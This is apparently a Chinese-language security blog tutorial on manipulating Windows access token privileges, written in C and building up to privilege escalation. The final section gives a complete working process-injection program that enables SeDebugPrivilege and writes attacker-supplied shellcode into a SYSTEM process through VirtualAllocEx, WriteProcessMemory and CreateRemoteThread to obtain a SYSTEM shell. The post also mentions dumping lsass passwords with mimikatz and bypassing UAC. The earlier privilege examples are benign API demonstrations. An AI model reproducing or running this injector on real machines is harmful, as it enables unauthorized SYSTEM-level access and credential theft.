修改访问令牌
0X01 前置知识
程序要实现一些关键操作的时候需要有一定权限
可以使用下面的命令查看
Windows中权限不同的用户就是令牌的不同,这篇文章先不写令牌是什么,主要实现用代码修改令牌并提权到SYSTEM
下面看一下普通用户和管理员的令牌
普通用户
只有五个特权
管理员
有好多,当然有些是禁用的
本次文章主要了解开启SeDebugPrivilege提权
有了这个特权之后就可以修改任意进程的内存,当然有进程保护的肯定不行,像杀软这种
主要的过程就是
开启SeDebugPrivilege->向高权限进程里面写入shellcode并执行->线程会继承进程的权限最后的得到一个高权限的shell
0x02 函数和结构
需要了解三个函数和两个结构
OpenProcessToken
1 2 3 4 5 6 7 8
| BOOL OpenProcessToken( HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle );
|
这个函数就是得到一个进程的访问令牌然后放到第三个参数里面
当然如果这么想不对的话还请看到的师傅提醒,肯定会马上修改,提前谢谢了
这是关于第二个参数的文档
https://docs.microsoft.com/en-us/windows/win32/secauthz/access-rights-for-access-token-objects
LookupPrivilegeValue
查看系统权限的特权值(怎么感觉就是得到Luid)
1 2 3 4 5 6 7 8
| BOOL LookupPrivilegeValue( LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid );
|
第二个参数的宏定义
这个LUID是一个结构
1 2 3 4
| typedef struct _LUID { DWORD LowPart; LONG HighPart; } LUID, *PLUID;
|
不过这个不用看,反正是返回在里面的
下面两个结构要看一下因为最后一个函数用得到
TOKEN_PRIVILEGES结构
1 2 3 4 5 6
| typedef struct _TOKEN_PRIVILEGES { DWORD PrivilegeCount; LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY]; } TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
|
LUID_AND_ATTRIBUTES结构
1 2 3 4
| typedef struct _LUID_AND_ATTRIBUTES { LUID Luid; DWORD Attributes; } LUID_AND_ATTRIBUTES, * PLUID_AND_ATTRIBUTES;
|
看一下Attributes常用的值
值 |
含义 |
SE_PRIVILEGE_ENABLED |
启用此特权 |
SE_PRIVILEGE_ENABLED_BY_DEFAULT |
默认情况启用此特权 |
SE_PRIVILEGE_REMOVED |
删除特权 |
None |
禁用此特权 |
贴一下文档https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_privileges
AdjustTokenPrivileges
直接看就是调整令牌特权
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| BOOL AdjustTokenPrivileges( HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength );
|
下面三个参数用了之后一直报998,网上也找不到原因,看来看去这三个参数都是置零的,还有以为第四个参数是传第三个参数的大小的,不过问题不大,全部置零就好
0x03 代码实现
首先来看两个例子,可以更好明白
开启SeTimeZonePrivilege
看一下普通用户启用了哪些特权
只启用了一个,用下面的代码可以开启SeTimeZonePrivilege
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| #include<Windows.h> #include<stdio.h>
BOOL EnableSeTimeZonePrivilege(){ HANDLE Token; LUID LuidValue = { 0 }; TOKEN_PRIVILEGES TP = { 0 }; BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token); if (Aret == NULL) { printf("GetTokenHandle Fail\n"); return FALSE; } BOOL Bret = LookupPrivilegeValue(NULL, SE_TIME_ZONE_NAME, &LuidValue); if (Bret == NULL) { printf("LookupPrivilegeValue Fail\n"); return FALSE; } TP.PrivilegeCount = 1; TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TP.Privileges[0].Luid = LuidValue; BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0); if (GetLastError() == ERROR_SUCCESS) { printf("AdjustToken Success\n"); return TRUE; } printf("AdjustToken Fail\n"); printf("ErrorCode: %d\n", GetLastError()); return FALSE; }
int main() { EnableSeTimeZonePrivilege(); system("cmd"); return 0; }
|
通过打开的cmd再次查看特权
可以看到SeTimeZonePrivilege特权已开启
删除SeShutdownPrivilege
1 2
| shutdown -r -t 10 shutdown -a
|
这条命令是十秒钟后系统重启
担心有些师傅去试,下面这条是解除这条命令
下面的代码可以关掉当前进程关机的权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| #include<Windows.h> #include<stdio.h>
BOOL RemoveSeShutdownPrivilege(){ HANDLE Token; LUID LuidValue = { 0 }; TOKEN_PRIVILEGES TP = { 0 }; BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token); if (Aret == NULL) { printf("GetTokenHandle Fail\n"); return FALSE; } BOOL Bret = LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &LuidValue); if (Bret == NULL) { printf("LookupPrivilegeValue Fail\n"); return FALSE; } TP.PrivilegeCount = 1; TP.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED; TP.Privileges[0].Luid = LuidValue; BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0); if (GetLastError() == ERROR_SUCCESS) { printf("AdjustToken Success\n"); return TRUE; } printf("AdjustToken Fail\n"); printf("ErrorCode: %d\n", GetLastError()); return FALSE; }
int main() { RemoveSeShutdownPrivilege(); system("cmd"); return 0; }
|
开启SeDebugPrivilege
其实上面两个看好的师傅可以尝试先写一写再来看
都差不多的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| #include<Windows.h> #include<stdio.h>
BOOL EnableSeDebugPrivilege() { HANDLE Token; LUID LuidValue = { 0 }; TOKEN_PRIVILEGES TP = { 0 }; BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token); if (Aret == NULL) { printf("GetTokenHandle Fail\n"); return FALSE; } BOOL Bret = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &LuidValue); if (Bret == NULL) { printf("LookupPrivilegeValue Fail\n"); return FALSE; } TP.PrivilegeCount = 1; TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TP.Privileges[0].Luid = LuidValue; BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0); if (GetLastError() == ERROR_SUCCESS) { printf("AdjustToken Success\n"); return TRUE; } printf("AdjustToken Fail\n"); printf("ErrorCode: %d\n", GetLastError()); return FALSE; }
int main() { EnableSeDebugPrivilege(); system("cmd"); return 0; }
|
SeDebugPrivilege是调试权限的程序,开启了这个特权之后可以可以读写SYSTEM启动的进程的内存
用mimikatz dump密码的时候需要先输入
这句话的意思就是开启debug,这样才可以从SYSTEM启动的lsass.exe进程里面dump出明文密码
那现在可以读写高权限的进程,那就可以往高权限的进程里面写入shellcode,然后通过线程执行,这样得到shell和进程是同样权限的,就可以提权到SYSTEM
以管理员权限启动才可以开启DEBUG权限,可以尝试BypassUac得到管理员权限
0x04 进程注入+开启DEBUG
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| #include <stdio.h> #include <windows.h>
BOOL EnableSeDebugPrivilege() { HANDLE Token; LUID LuidValue = { 0 }; TOKEN_PRIVILEGES TP = { 0 }; BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token); if (Aret == NULL) { printf("GetTokenHandle Fail\n"); return FALSE; } BOOL Bret = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &LuidValue); if (Bret == NULL) { printf("LookupPrivilegeValue Fail\n"); return FALSE; } TP.PrivilegeCount = 1; TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TP.Privileges[0].Luid = LuidValue; BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0); if (GetLastError() == ERROR_SUCCESS) { printf("AdjustToken Success\n"); return TRUE; } printf("AdjustToken Fail\n"); printf("ErrorCode: %d\n", GetLastError()); return FALSE; }
int main(int argc, char* argv[]) { EnableSeDebugPrivilege(); char* str = argv[1]; int code_len = strlen(str) / 2; char char_in_hex; unsigned char buf[1000]; for (int i = 0; i < code_len; i++) { sscanf_s(str + 2 * i, "%2x", &char_in_hex); buf[i] = char_in_hex; } int process_id = atoi(argv[2]); HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
if (process) { printf("OpenProcess Success\n"); LPVOID base_address; base_address = VirtualAllocEx(process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (base_address) { printf("base_address:%p\n", base_address);
BOOL ret = WriteProcessMemory(process, base_address, buf, sizeof(buf), NULL); if (ret) { printf("WriteProcessMemory Success\n"); DWORD TH; HANDLE ThreadHandle = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, 0, 0, &TH); if (ThreadHandle) { printf("ThreadInject Success"); } else { printf("ThreadInject Fail\n Error Code:%d", GetLastError()); } } else { printf("WriteProcessMemory Fail\nError Code:%d", GetLastError()); } } else { printf("VirtualAllocEx Fail\n"); } } else { printf("OpenProcess Fail\n"); } }
|
以管理员启动一个高权限CMD
注入高权限进程
得到SYSTEM的shell
0x05 总结
这个..注入完如果不想要这个shell了千万不要直接Exit,不然进程就结束了,如果运气不好系统可能就炸了..
挺好玩..